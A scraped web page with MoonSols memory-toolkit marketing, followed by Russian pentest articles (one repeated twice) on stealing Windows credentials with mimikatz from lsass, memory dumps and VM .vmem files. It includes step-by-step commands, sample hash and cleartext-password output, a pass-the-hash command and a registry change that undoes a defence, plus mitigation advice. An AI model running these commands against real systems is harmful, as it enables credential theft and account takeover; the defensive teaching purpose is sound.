- MoonSols
- MoonSols delivers high-end utilities to respond to advanced cyber-security attacks in unknown territories.
- Unique
- Support
- Applications
- Precise
- Pricing Plans
- Completely Free
- Consultant
- Enterprise
- $7,500.00
- Custom build
- On request
- Pricing FAQ
- What is MoonSols Windows Memory Toolkit ?
- Do you support Windows 8 ?
- Do you also provide dedicated support, and services to assist us in advanced analysis ?
- I’ve been using MWMT for a long time, but do you also deliver training courses?
- Mimikatz против Virtual Machine Memory – Часть 1
- Mimikatz против Virtual Machine Memory – Часть 1
- Mimikatz: Извлекаем пароли пользователей Windows из памяти в открытом виде
- Хранение паролей и хэшей в памяти Windows
- Используем Mimikatz для извлечения паролей пользователей из lsass.exe онлайн
- Получение пароля пользователя из дампа памяти Windows
- Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
- Использование Mimikatz в pass-the-hash атаках
- Как защитить Windows от извлечения паролей из памяти через mimikatz?
MoonSols
MoonSols delivers high-end utilities
to respond to advanced cyber-security attacks
in unknown territories.
Unique
Our utilities helps investigators to gather evidences via a unique technology.
Support
Support can be provided to enterprises.
Applications
A powerful toolkit containing multiple applications to collect or convert any kind of memory snapshots.
Precise
No matter the version or the plateform of your target. MoonSols will assist you during your process.
Simple command-line based utilities, executable from a remote system or from a USB key.
Optimizer to provide the better performances to investigators.
MoonSols Memory Toolkit is one of those indispensable toolsets I simply can’t live without; be sure to add
it to your kit too.
As with the others, I have older copies that I use and they work just fine. DumpIt is still available at the MoonSols site and works great for 32 or 64bit, give it a shot.
There are several ways to capture memory from a Windows machine for analysis, but want an easy one? I mean a really easy one? Then look no further than MoonSols “DumpIt“.
I agree, Matthieu Suiche’s DumpIt tool is fantastic!
Pricing Plans
Choose our free plan to get a hang of things and then upgrade as needed.
Completely Free
- Version 1.4 Fully Functional 64-bits Support Updates Windows 8 support Unlimited licence Compression support Encoding support
Consultant
- Independent consultant Version 2.0 Fully Functional No maintenance releases NO SUPPORT/ NO UPDATES Limited Windows 8/8.1 support Unlimited licence Compression support Encoding support
Enterprise
$7,500.00
- Companies Version 2.0 Fully Functional Technical Support (Included for the 1st Year) Maintenance releases Updates (Bug fixes) Limited Windows 8/8.1 support Unlimited & perpetual licence Compression support Encoding support
Custom build
On request
- Source-code access for agencies Enterprise Edition Annual Level-1 support Support & Updates Perpetual license Private Training Course
Pricing FAQ
What is MoonSols Windows Memory Toolkit ?
MoonSols Windows Memory Toolkit is a powerful toolkit containing all the utilities needed to perform any kind of memory acquisition or conversion during an incident response, or a forensic analysis for Windows desktops, servers or virtualized environment. The version 2.0 is a refresh and updated version of our software to reply to the evolving needs of our clients and assist them to deliver in a strategic and professional way.
Do you support Windows 8 ?
Yes, the version 2.0 does. For both memory acquisition and hibernation file decompression and conversion.
Do you also provide dedicated support, and services to assist us in advanced analysis ?
Yes, we do. We can provided tailored analysis services for your company and tailored plug-in development.
I’ve been using MWMT for a long time, but do you also deliver training courses?
Yes we do. More information can be found on our training page but we can also study your needs together and create an tailored incident response training course for you and your team.
Mimikatz против Virtual Machine Memory – Часть 1
Пентестинг – забавная штука. Как только кто-нибудь упомянет о новом способе взлома или новой уязвимости, вы тут же начинаете размышлять обо всех ранее упущенных возможностях. Помню, когда мне рассказали о некоторых «недокументированных» возможностях Oracle, я начал сожалеть обо всех упущенных шеллах.
Пентестинг – забавная штука. Как только кто-нибудь упомянет о новом способе взлома или новой уязвимости, вы тут же начинаете размышлять обо всех ранее упущенных возможностях. Помню, когда мне рассказали о некоторых «недокументированных» возможностях Oracle, я начал сожалеть обо всех упущенных шеллах.
Данный пост (и последующее его продолжение) как раз касается этой темы. Я неоднократно встречался с ситуациями, когда мне была доступна папка, набитая файлами виртуальных машин. Знаю, сейчас вы скажете, что можно загрузить raw-диск (vmdk) и использовать утилиты наподобие volatility для извлечения содержимого файловой системы. Однако подобным образом мы не сможем добраться до оперативной памяти.
Исследуя темы, связанные с vCenter/ESXi, мне попались на глаза несколько интересных статей по этому вопросу:
Естественно, после изучения вышеуказанных материалов, я задался вопросом, можно ли осуществить нечто подобное.
В первой статье (авторства Remko) указано, что нужен следующий инструментарий:
Отладочные средства для ОС Windows:
Текущая версия mimikatz, которая поддерживает windbg:
Примечание #1: бесплатная версия Windows Memory Toolkit ограничена операционной системой и архитектурой, на которой можно ее использовать (ограничения – 32-х разрядная архитектура вплоть до Windows Server 2008).
#1 Копируем файл vmem/vmsn с удаленного хоста.
#2 Конвертируем файл при помощи утилиты bin2dmp (от moonsols) в файл .dmp (я использую платную версию).
C:\Users\user\Desktop>Bin2Dmp.exe «Windows Server 2008 x64-b2afd86a.vmem» win2k8.dmp
bin2dmp — v2.1.0.20140115
Convert raw memory dump images into Microsoft crash dump files.
Copyright (C) 2007 — 2014, Matthieu Suiche
Copyright (C) 2012 — 2014, MoonSols Limited
Initializing memory descriptors. Done.
Directory Table Base is 0x124000
Looking for Kernel Base.
Looking for kernel variables. Done.
Loading file. Done.
nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0
stuff happens
[0x0000000040000000 of 0x0000000040000000] [0x000000001DAFE000 of 0x000000
MD5 = E8C2F318FA528285281C21B3141E7C51
Total time for the conversion: 0 minutes 14 seconds.
#3 Загружаем файл в windbg
Примечание #2: Возможно, вам придется запустить .symfix и .reload
kd> .symfix
kd> .reload
Loading Kernel Symbols
.
.
.
Loading User Symbols
Loading unloaded module list
.
#4 Загружаем библиотеку mimilib.dll.
kd> .load C:\users\user\desktop\mimilib.dll
.#####. mimikatz 2.0 alpha (x64) release «Kiwi en C» (May 25 2014 21:48:13)
.## ^ ##. Windows build 6002
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ WinDBG extension ! * * */
После загрузки библиотеки указан дальнейший алгоритм действий (см. выше раздел Kernel Mode).
#5 Находим процесс lsass.
kd> !process 0 0 lsass.exe
PROCESS fffffa800dba26d0
SessionId: 0 Cid: 023c Peb: 7fffffd4000 ParentCid: 01e4
DirBase: 2e89f000 ObjectTable: fffff880056562c0 HandleCount: 1092.
Image: lsass.exe
#6 Переключаем контекст процесса lsass (в данном случае fffffa800dba26d0)
kd> .process /r /p fffffa800dba26d0
Implicit process is now fffffa80`0dba26d0
Loading User Symbols
.
.
#7 Загружаем mimikatz
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-3C4WXGGN8QE$
Domain : UNLUCKYCOMPANY
SID : S-1-5-20
msv :
[00000002] Primary
* Username : WIN-3C4WXGGN8QE$
* Domain : UNLUCKYCOMPANY
* NTLM : ea2ed0b14406a168791adf5aee78fd0b
* SHA1 : ab7bd2f6a64cf857c9d69dd65916622e3dc25424
tspkg : KO
—SNIP—
Authentication Id : 0 ; 173319 (00000000:0002a507)
Session : Interactive from 1
User Name : Administrator
Domain : UNLUCKYCOMPANY
SID : S-1-5-21-2086621178-2413078777-1398328459-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* LM : e52cac67419a9a2238f10713b629b565
* NTLM : 64f12cddaa88057e06a81b54e73b949b
* SHA1 : cba4e545b7ec918129725154b29f055e4cd5aea8
tspkg :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
wdigest :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
kerberos :
* Username : Administrator
* Domain : UNLUCKYCOMPANY.NET
* Password : Password1
* Key List
—SNIP—
Другие трюки для Windows 8 и Windows 2012 будут рассказаны во второй части.
Mimikatz против Virtual Machine Memory – Часть 1
Пентестинг – забавная штука. Как только кто-нибудь упомянет о новом способе взлома или новой уязвимости, вы тут же начинаете размышлять обо всех ранее упущенных возможностях. Помню, когда мне рассказали о некоторых «недокументированных» возможностях Oracle, я начал сожалеть обо всех упущенных шеллах.
Пентестинг – забавная штука. Как только кто-нибудь упомянет о новом способе взлома или новой уязвимости, вы тут же начинаете размышлять обо всех ранее упущенных возможностях. Помню, когда мне рассказали о некоторых «недокументированных» возможностях Oracle, я начал сожалеть обо всех упущенных шеллах.
Данный пост (и последующее его продолжение) как раз касается этой темы. Я неоднократно встречался с ситуациями, когда мне была доступна папка, набитая файлами виртуальных машин. Знаю, сейчас вы скажете, что можно загрузить raw-диск (vmdk) и использовать утилиты наподобие volatility для извлечения содержимого файловой системы. Однако подобным образом мы не сможем добраться до оперативной памяти.
Исследуя темы, связанные с vCenter/ESXi, мне попались на глаза несколько интересных статей по этому вопросу:
Естественно, после изучения вышеуказанных материалов, я задался вопросом, можно ли осуществить нечто подобное.
В первой статье (авторства Remko) указано, что нужен следующий инструментарий:
Отладочные средства для ОС Windows:
Текущая версия mimikatz, которая поддерживает windbg:
Примечание #1: бесплатная версия Windows Memory Toolkit ограничена операционной системой и архитектурой, на которой можно ее использовать (ограничения – 32-х разрядная архитектура вплоть до Windows Server 2008).
#1 Копируем файл vmem/vmsn с удаленного хоста.
#2 Конвертируем файл при помощи утилиты bin2dmp (от moonsols) в файл .dmp (я использую платную версию).
C:\Users\user\Desktop>Bin2Dmp.exe «Windows Server 2008 x64-b2afd86a.vmem» win2k8.dmp
bin2dmp — v2.1.0.20140115
Convert raw memory dump images into Microsoft crash dump files.
Copyright (C) 2007 — 2014, Matthieu Suiche
Copyright (C) 2012 — 2014, MoonSols Limited
Initializing memory descriptors. Done.
Directory Table Base is 0x124000
Looking for Kernel Base.
Looking for kernel variables. Done.
Loading file. Done.
nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0
stuff happens
[0x0000000040000000 of 0x0000000040000000] [0x000000001DAFE000 of 0x000000
MD5 = E8C2F318FA528285281C21B3141E7C51
Total time for the conversion: 0 minutes 14 seconds.
#3 Загружаем файл в windbg
Примечание #2: Возможно, вам придется запустить .symfix и .reload
kd> .symfix
kd> .reload
Loading Kernel Symbols
.
.
.
Loading User Symbols
Loading unloaded module list
.
#4 Загружаем библиотеку mimilib.dll.
kd> .load C:\users\user\desktop\mimilib.dll
.#####. mimikatz 2.0 alpha (x64) release «Kiwi en C» (May 25 2014 21:48:13)
.## ^ ##. Windows build 6002
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ WinDBG extension ! * * */
После загрузки библиотеки указан дальнейший алгоритм действий (см. выше раздел Kernel Mode).
#5 Находим процесс lsass.
kd> !process 0 0 lsass.exe
PROCESS fffffa800dba26d0
SessionId: 0 Cid: 023c Peb: 7fffffd4000 ParentCid: 01e4
DirBase: 2e89f000 ObjectTable: fffff880056562c0 HandleCount: 1092.
Image: lsass.exe
#6 Переключаем контекст процесса lsass (в данном случае fffffa800dba26d0)
kd> .process /r /p fffffa800dba26d0
Implicit process is now fffffa80`0dba26d0
Loading User Symbols
.
.
#7 Загружаем mimikatz
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-3C4WXGGN8QE$
Domain : UNLUCKYCOMPANY
SID : S-1-5-20
msv :
[00000002] Primary
* Username : WIN-3C4WXGGN8QE$
* Domain : UNLUCKYCOMPANY
* NTLM : ea2ed0b14406a168791adf5aee78fd0b
* SHA1 : ab7bd2f6a64cf857c9d69dd65916622e3dc25424
tspkg : KO
—SNIP—
Authentication Id : 0 ; 173319 (00000000:0002a507)
Session : Interactive from 1
User Name : Administrator
Domain : UNLUCKYCOMPANY
SID : S-1-5-21-2086621178-2413078777-1398328459-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* LM : e52cac67419a9a2238f10713b629b565
* NTLM : 64f12cddaa88057e06a81b54e73b949b
* SHA1 : cba4e545b7ec918129725154b29f055e4cd5aea8
tspkg :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
wdigest :
* Username : Administrator
* Domain : UNLUCKYCOMPANY
* Password : Password1
kerberos :
* Username : Administrator
* Domain : UNLUCKYCOMPANY.NET
* Password : Password1
* Key List
—SNIP—
Другие трюки для Windows 8 и Windows 2012 будут рассказаны во второй части.
Mimikatz: Извлекаем пароли пользователей Windows из памяти в открытом виде
В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем (в последний статье мы обсуждали вопросы безопасности паролей, хранимых в GPP) , мы познакомимся с достаточно простой методикой получения в открытом виде паролей всех пользователей, работающих в Windows-системе с помощью Open Source утилиты Mimikatz.
Хранение паролей и хэшей в памяти Windows
Большинство системных администраторов пребывают в уверенности, что Windows не хранит пароли пользователей в открытом виде, а только в виде его хэша. И хотя на сегодня существует большое количество утилит, способных извлечь хэши пользовательских паролей из системы, можно с определенной уверенностью сказать, что при использовании достаточно сложного пароля не «из словаря», у злоумышленника практически нет шансов подобрать его прямым брутфорсом или по базе уже рассчитанных хэшей.
В принципе, это так, но есть различные нюансы, касающиеся пользователей, залогиненых в конкретной системе Windows. Дело в том, что некоторые системные процессы в своих служебных целях все-таки используют пароли пользователей в открытом (или зашифрованном) виде, а не их хэши.
Так, например, механизм дайджест-аутентификации (HTTP Digest Authentication), используемый для поддержки SSO (Single Sign On), для своей работы требует знания вводимого пароля пользователя, а не только его хеша (о том, почему разработчиками это было реализовано именно так, можно только догадываться). Пароли (именно пароли, а не их хэши) пользователей в зашифрованном виде хранятся в памяти ОС, а если быть более точным в памяти процесса LSASS.EXE. Проблема в том, что шифрование паролей реализовано с помощью стандартных Win32 функций LsaProtectMemory и LsaUnprotectMemory, которые предназначены для шифрования/расшифровки некоторого участка памяти. Утилита французских разработчиков mimikatz позволяет получать зашифрованные данные из памяти и расшифровывать их с помощью функции LsaUnprotectMemory, позволяя вывести на консоль все учетные записи пользователей, авторизованных в системе, и их пароли (в открытом, уже расшифрованном виде!). Для эксплуатации уязвимости атакующий должен иметь возможность присоединить специальную библиотеку к процессу lsass.exe.
Скачать утилиту mimikatz можно тут: http://blog.gentilkiwi.com/mimikatz
Утилита mimikatz позволяет извлечь пароли пользователей непосредственно из памяти ( путем инъекции в lsass .exe библиотеки sekurlsa .dll ), из сохраненного дампа памяти компьютера или даже из файла гибернации.
Используем Mimikatz для извлечения паролей пользователей из lsass.exe онлайн
- Скачайте и запустите Mimikatz.exe с правами администратора (есть x86 и x64-версии утилиты для соответствующих систем)
- В контексте утилиты выполните команды
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords full
(последняя команда для все активных пользователей в системе отобразит имена учетных записей и их пароли).
Как вы видите, утилита показала нам суперсложный пароль пользователя user в открытом виде! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.
Представьте себе, что это терминальный сервер, на котором одновременно работают множество пользователей, и на котором есть в том числе сессия администратора предприятия. Т.е. при наличии прав администратора на одном единственном сервере можно даже перехватить пароль администратора домена.
Получение пароля пользователя из дампа памяти Windows
Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:
Получившийся дамп памяти, в нашем примере это lsass_592.dmp (по умолчанию он сохраняется в каталоге %windir\system32%), нужно скопировать на другой компьютер, в которой имеется утилита mimikatz и выполнить команду:
И следующей командой получим из сохранённого дампа памяти список пользователей, работающих в системе и их пароли:
Как вы видите, ничего сложного.
Таким способом можно получить дамп памяти с удаленного компьютера с помощью psexec или через WinRM (при наличии прав администратора) и извлечь из него пароль пользователя.
Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
Идем дальше. С помощью простых манипуляций злоумышленник может легко извлечь пароли пользователей из файлов дампов памяти, файла гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).
Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).
Например, в случае необходимости преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполним команду:
Полученный дамп загружаем в WinDbg (File -> Open Crash Dump), загружаем библиотеку mimikatz с именем mimilib.dll (версию выбрать в зависимости от разрядности системы):
Ищем в дампе процесс lsass.exe:
И наконец, набираем:
и получаем список пользователей Windows и их пароли в открытом виде.
Получение паролей пользователей Windows в открытом виде с помощью утилиты Mimikatz работает на следующих системах, в том числе запущенных на гипервизорах Hyper-V 2008/2012 и VMWare различных версий:
- Windows Server 2008 / 2008 R2
- Windows Server 2012/ R2
- Windows 7
- Windows 8
Использование Mimikatz в pass-the-hash атаках
В том случае, если не удается получить пароль пользователя, а только его хеш, Mimikatz можно использовать для так называемой атаки pass-the-hash (повторное использованиу хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:
Как защитить Windows от извлечения паролей из памяти через mimikatz?
В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0 (WDigest отключен).
Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikats с помощью команды creds_wdigest не сможет извлечь пароли и хэши.
Однако при наличии прав администратора вы сможете легко изменить этот ключ:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
После этого вы опять сможете получить доступ к паролям в памяти LSA.
В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:
- Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption)
- Отключить NTLM
- Запретить использование сохранённых паролей в Credential Manager
- Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
- Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администартороав в специальную группу Protected Users
При тестировании mimkatz в Windows 10 Pro x64 с настройками утилита mimkatz 2.0 смогла получить хэши пароля активного пользователя (но не пароль в открытом виде).
На более старых системах нужно в качестве временного решения нужно ограничить получение привилегии debug и отключить поставщика безопасности wdigest через реестр. Для этого в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa найдите ключ Security Packages и удалить из списка пакетов строку wdigest. Однако нужно понимать, что атакующему, при наличии соответствующих прав на реестр, не составит труда вернуть настройки обратно.
Выводы. Еще раз напоминаем прописные истины:
- Не стоит использовать одинаковые пароли для разных сервисов (особенно терминальных, находящихся во владении третьих лиц).
- Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины.
- Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows)
- Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям